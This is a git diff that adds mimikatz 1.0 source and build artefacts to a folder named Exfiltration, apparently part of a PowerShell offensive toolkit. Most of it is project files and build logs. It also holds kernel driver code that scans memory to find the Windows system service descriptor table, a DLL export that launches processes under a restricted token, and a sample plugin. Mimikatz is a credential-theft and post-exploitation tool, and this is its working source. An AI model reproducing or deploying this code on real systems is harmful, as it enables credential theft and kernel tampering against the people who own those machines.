+ return status; +} + +#ifdef _M_X64 +NTSTATUS getKeServiceDescriptorTable() +{ + NTSTATUS retour = STATUS_NOT_FOUND; + + UCHAR PTRN_WALL_Ke[] = {0x00, 0x00, 0x4d, 0x0f, 0x45, 0xd3, 0x42, 0x3b, 0x44, 0x17, 0x10, 0x0f, 0x83}; + LONG OFFS_WNO8_Ke = -19; + LONG OFFS_WIN8_Ke = -16; + + PUCHAR refDebut = NULL, refFin = NULL; LONG offsetTo = 0; + UNICODE_STRING maRoutine; + PUCHAR baseSearch = NULL; + + if(KeServiceDescriptorTable) + { + retour = STATUS_SUCCESS; + } + else + { + RtlInitUnicodeString(&maRoutine, L"ZwUnloadKey"); + if(baseSearch = (PUCHAR) MmGetSystemRoutineAddress(&maRoutine)) + { + refDebut= baseSearch - 21*PAGE_SIZE; + refFin = baseSearch + 16*PAGE_SIZE; + offsetTo = (INDEX_OS < INDEX_8) ? OFFS_WNO8_Ke : OFFS_WIN8_Ke; + + retour = genericPointerSearch((PUCHAR *) &KeServiceDescriptorTable, refDebut, refFin, PTRN_WALL_Ke, sizeof(PTRN_WALL_Ke), offsetTo); + } + } + return retour; +} +#endif
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/driver/ssdt.h b/Exfiltration/mimikatz-1.0/driver/ssdt.h new file mode 100644 index 0000000..33ab9af --- /dev/null +++ b/Exfiltration/mimikatz-1.0/driver/ssdt.h @@ -0,0 +1,13 @@ +#pragma once +#include "k_types.h" +#include "mod_memory.h" +#include "modules.h" + +NTSTATUS kSSDT(LPWSTR pszDest, size_t cbDest, LPWSTR *ppszDestEnd, size_t *pcbRemaining); + +#ifdef _M_IX86 + extern PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; +#else + PSERVICE_DESCRIPTOR_TABLE KeServiceDescriptorTable; + NTSTATUS getKeServiceDescriptorTable(); +#endif diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..574462d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..1393f52 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..05c99d0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res Binary files differnew file mode 100644 index 0000000..416efb2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.res diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog new file mode 100644 index 0000000..352791c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/kappfree.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\kappfree\kappfree.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kappfree.exp diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..cdc5689 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..b97e650 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..f8b3fd9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..be34103 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..23f6601 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..53b60f3 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..92ee084 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..6f2e9b0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..c18037c --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c new file mode 100644 index 0000000..63130c9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kappfree.h" + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + HANDLE monToken, monSuperToken; + wchar_t * commandLine; + PROCESS_INFORMATION mesInfosProcess; + STARTUPINFO mesInfosDemarrer; + + if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) + { + if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) + { + RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + commandLine = _wcsdup(lpszCmdLine); + if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) + { + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + free(commandLine); + CloseHandle(monSuperToken); + } + CloseHandle(monToken); + } +} diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.h b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h new file mode 100644 index 0000000..22ffbc2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include <windows.h> + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow); diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc Binary files differnew file mode 100644 index 0000000..f08bc56 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.rc diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj new file mode 100644 index 0000000..ef29473 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj @@ -0,0 +1,119 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{E7A85049-E31E-4575-B6A0-E6F1EAA9EEB0}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>kappfree</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>Full</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;KAPPFREE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions> + <AdditionalIncludeDirectories>$(SolutionDir)/commun;$(SolutionDir)/modules</AdditionalIncludeDirectories> + <FavorSizeOrSpeed>Size</FavorSizeOrSpeed> + <StringPooling>true</StringPooling> + <ExceptionHandling>false</ExceptionHandling> + <FloatingPointModel>Fast</FloatingPointModel> + <FloatingPointExceptions>false</FloatingPointExceptions> + <CreateHotpatchableImage>false</CreateHotpatchableImage> + <ErrorReporting>None</ErrorReporting> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>false</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies> + <LinkErrorReporting>NoErrorReport</LinkErrorReporting> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="kappfree.c" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="kappfree.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kappfree.rc" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters new file mode 100644 index 0000000..987362e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.vcxproj.filters @@ -0,0 +1,12 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClInclude Include="kappfree.h" /> + </ItemGroup> + <ItemGroup> + <ResourceCompile Include="kappfree.rc" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="kappfree.c" /> + </ItemGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..d6e37a7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..93f65cf --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..bd72d30 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res Binary files differnew file mode 100644 index 0000000..f3f1c55 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.res diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog new file mode 100644 index 0000000..17139b5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/kelloworld.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\kelloworld\kelloworld.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\kelloworld.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..41cc4a2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..da4e714 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..6d0be40 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..bbb2100 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..b7cc267 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..1ff82f2 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..fb31489 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..811b6f9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..30d54de --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp new file mode 100644 index 0000000..d49a183 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.cpp @@ -0,0 +1,12 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kelloworld.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + MessageBox(NULL, L"Hello World!", MIMIKATZ_FULL, MB_ICONINFORMATION | MB_OK); + return true; +} diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h new file mode 100644 index 0000000..daa8973 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.h @@ -0,0 +1,9 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kmodel.h" + +__kextdll bool __cdecl helloworld(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc Binary files differnew file mode 100644 index 0000000..312b232 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.rc diff --git a/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj new file mode 100644 index 0000000..b0b3674 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/kelloworld/kelloworld.vcxproj @@ -0,0 +1,121 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{D0ABA26B-0C4F-41F0-8F3C-7F5EFE3C50C6}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>kelloworld</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + <UseOfMfc>Static</UseOfMfc> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\</OutDir> + <IntDir>$(Platform)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup 